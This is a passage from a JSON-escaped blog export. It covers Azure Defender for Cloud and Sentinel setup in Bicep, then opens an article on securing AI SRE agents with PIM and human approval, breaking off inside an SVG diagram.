style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e defenderServers \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Microsoft.Security/pricings@2024-01-01\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;VirtualMachines\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  properties: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    pricingTier: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Standard\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    subPlan: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;P2\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e#\u003c/span\u003e Enables advanced JIT and EDR features\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"4-microsoft-sentinel-the-intelligence-layer\"\u003e4. Microsoft Sentinel: The Intelligence Layer\u003c/h2\u003e\n\u003cp\u003eSentinel sits on top of your central Log Analytics Workspace and uses \u003cstrong\u003eAnalytics Rules\u003c/strong\u003e to scan logs for patterns — a surge in failed logins followed by a successful one from an unusual IP, for example. MDC feeds it alerts; Sentinel turns those alerts into incidents with context your security team can actually act on.\u003c/p\u003e\n\u003ch3 id=\"automated-data-connectors\"\u003eAutomated Data Connectors\u003c/h3\u003e\n\u003cp\u003eThe \u003cstrong\u003eCodeless Connector Framework (CCF)\u003c/strong\u003e is the current standard for data ingestion. Automate your connectors via Bicep so every new subscription\u0026rsquo;s Activity and Defender logs stream to the SIEM automatically. If you don\u0026rsquo;t automate this, you\u0026rsquo;ll spend the next 18 months manually connecting subscriptions one by one.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e activityConnector \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Microsoft.SecurityInsights/dataConnectors@2023-02-01-preview\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#a6e22e\"\u003eguid\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;activity-log-connector\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  kind: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;AzureActivity\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  properties: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    subscriptionId: \u003cspan style=\"color:#a6e22e\"\u003esubscription\u003c/span\u003e().subscriptionId\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"5-security-posture-tracking-with-kql\"\u003e5. Security Posture Tracking with KQL\u003c/h2\u003e\n\u003cp\u003eQuery the \u003ccode\u003eSecurityResources\u003c/code\u003e table in your central hub to track \u003cstrong\u003eSecure Score\u003c/strong\u003e drift over time. When your score drops from 87% to 79% overnight, this is how you find out which subscription caused it — and which team to call.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eUnified is simpler:\u003c/strong\u003e Manage MDC and Sentinel as a single platform. Two consoles fighting each other is how alerts get missed.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eBenchmark at the Management Group scope:\u003c/strong\u003e One policy assignment gives you 100% coverage across every current and future subscription.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGo agentless:\u003c/strong\u003e Agentless scanning gives your team vulnerability visibility without adding anything to the app teams\u0026rsquo; operational burden.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAutomate connector wiring:\u003c/strong\u003e Every new subscription must automatically stream its logs to the SIEM. This is not optional — manual connector setup at 50 subscriptions is a full-time job.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNext Steps:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/azure-landing-zone-cicd/\"\u003eCI/CD Pipeline for Your Landing Zone: Deploying Azure Verified Modules with GitHub Actions\u003c/a\u003e to implement the CI/CD pipeline that deploys this security baseline.\u003c/li\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/azure-landing-zone-ops/\"\u003eDay-2 Operations: Maintaining and Evolving Your Azure Landing Zone\u003c/a\u003e to remediate the security drift these systems will surface.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/defender-for-cloud/defender-for-cloud-introduction\"\u003eMicrosoft Learn: What is Microsoft Defender for Cloud?\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/sentinel/overview\"\u003eMicrosoft Learn: Microsoft Sentinel Overview\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://azure.github.io/Azure-Verified-Modules/specs/shared/security/\"\u003eAzure Verified Modules: Security Baseline Specification\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/security/benchmark/azure/introduction\"\u003eMicrosoft Cloud Security Benchmark (ASB) v3\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Establish a reliable security baseline by deploying Microsoft Defender for Cloud and Microsoft Sentinel. Learn to automate threat detection and posture management at scale.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-security-baseline/","title":"Security Baseline: Defender for Cloud and Microsoft Sentinel in a Landing Zone"},{"content":"\u003cp\u003eIt\u0026rsquo;s 2:47am. Your AKS node pool has exhausted its memory. Azure Monitor fires an alert. Your phone screams. You fumble for your laptop, SSH into the cluster, run \u003ccode\u003ekubectl top pods\u003c/code\u003e, identify the offending deployment, and scale it down. Eleven minutes of groggy, reactive work—for a problem the system could have diagnosed and fixed in 90 seconds.\u003c/p\u003e\n\u003cp\u003eThe agent to do that job isn\u0026rsquo;t hard to build. Building it so that a compromised agent, a hallucinated action, or a reasoning error cannot take down the rest of production—that\u0026rsquo;s the actual engineering challenge. In 2026, we\u0026rsquo;re moving from chatbots to \u003cstrong\u003eAgentic SREs\u003c/strong\u003e—non-human identities capable of executing Azure Resource Manager calls and KQL queries at 3am without waking anyone. Security for these agents isn\u0026rsquo;t a footnote. It\u0026rsquo;s the primary design constraint.\u003c/p\u003e\n\u003cp\u003eThis article walks through a \u0026ldquo;Zero Trust for AI\u0026rdquo; (ZT4AI) framework using Azure Durable Functions, Privileged Identity Management (PIM), and Teams Adaptive Cards—an architecture where the agent has just enough access to understand what went wrong, and needs your explicit sign-off to fix it.\u003c/p\u003e\n\u003ch3 id=\"ai-sre-orchestration-workflow\"\u003eAI SRE Orchestration Workflow\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 680 361\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 72,64 L 312,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,160 L 576,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,256 L 576,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 64,24 L 64,40' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 64,64 L 64,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,32 L 320,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,120 L 320,136' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,160 L 320,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,224 L 320,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,328 L 320,344' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 584,32 L 584,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 584,256 L 584,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='320.000000,64.000000 308.000000,58.400002 308.000000,69.599998' fill='currentColor' transform='rotate(0.000000, 312.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='336.000000,256.000000 324.000000,250.399994 324.000000,261.600006' fill='currentColor' transform='rotate(180.000000, 328.000000, 256.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='584.000000,160.000000 572.000000,154.399994 572.000000,165.600006' fill='currentColor' transform='rotate(0.000000, 576.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='16' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='52' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='4' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='20' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='52' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='52' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='100' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='116' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='148' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='196' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='292' fill='currentColor' style='font-size:1em'\u003e6\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='308' fill='currentColor' style='font-size:1em'\u003e7\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='324' fill='currentColor' style='font-size:1em'\u003e8\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='20' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='116' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='292' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='308' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='324' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='116' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='148' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='292' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='308' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='324' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='196' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='292' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='308' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='324' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='20' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='116' fill='currentColor' style='font-size:1em'\u003eQ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='292' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='324' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='148' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='212' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='308' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='324' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='212' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='292' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='308' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='324' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='212' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='292' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='308' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='20' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='148' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='196' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='212' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='292' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='324' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='148' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='212' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='292' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='324' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='212' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='292' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='308' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='324' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='116' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='196' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='212' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='292' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='308' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='324' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='148' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='212' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='292' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='308' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='324' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='116' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='292' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='324' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='292' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='324' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' 